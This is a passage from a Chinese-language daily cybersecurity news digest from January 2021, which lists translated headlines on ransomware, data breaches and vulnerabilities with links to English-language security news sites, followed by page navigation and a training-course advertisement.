https://securityaffairs.co/wordpress/113296/data-breach/ubiquiti-discloses-data-breach.html
8、针对Qiui Cellmate设备的ChastityLock勒索软件源代码已在线泄漏
https://securityaffairs.co/wordpress/113251/hacking/qiui-cellmate-ransomware.html
9、勒索软件团伙优先针对高管以迫使公司付款
https://www.zdnet.com/article/some-ransomware-gangs-are-going-after-top-execs-to-pressure-companies-into-paying/
10、xHunt活动使用BumbleBee webshell横向移动
https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/
网络安全日报 2021年01月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、新西兰中央银行遭受网络攻击
https://www.securityweek.com/new-zealand-central-bank-hit-cyber-attack
2、美国国务院批准成立网络空间安全和新兴技术局
https://www.securityweek.com/us-department-state-approves-new-cyberspace-security-bureau
3、TeamTNT僵尸网络窃取Docker API和AWS凭证
https://securityaffairs.co/wordpress/113228/malware/teamtnt-botnet-docker-aws.html
4、达索猎鹰喷气机公司被Ragnar Locker勒索软件攻击
https://securityaffairs.co/wordpress/113216/data-breach/dassault-falcon-data-breach.html
5、Twitter已永久封禁特朗普的帐户
https://securityaffairs.co/wordpress/113197/social-networks/twitter-donald-trump-account-suspended.html
6、NVIDIA发布了高危安全漏洞补丁
https://www.securityweek.com/nvidia-ships-patches-high-severity-security-flaws
7、新攻击可克隆Google Titan 2FA安全密钥
https://thehackernews.com/2021/01/new-attack-could-let-hackers-clone-your.html
8、沃达丰旗下公司ho.Mobile宣布数据泄露
https://www.bleepingcomputer.com/news/security/vodafones-ho-mobile-admits-data-breach-25m-users-impacted/
9、研究人员在罗克韦尔产品中发现DoS漏洞
https://www.securityweek.com/dos-vulnerabilities-found-rockwells-factorytalk-linx-and-rslinx-classic-products
10、Ryuk勒索软件操控者已获利1.5亿美元
https://www.infosecurity-magazine.com/news/ryuk-ransomware-attackers-have/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

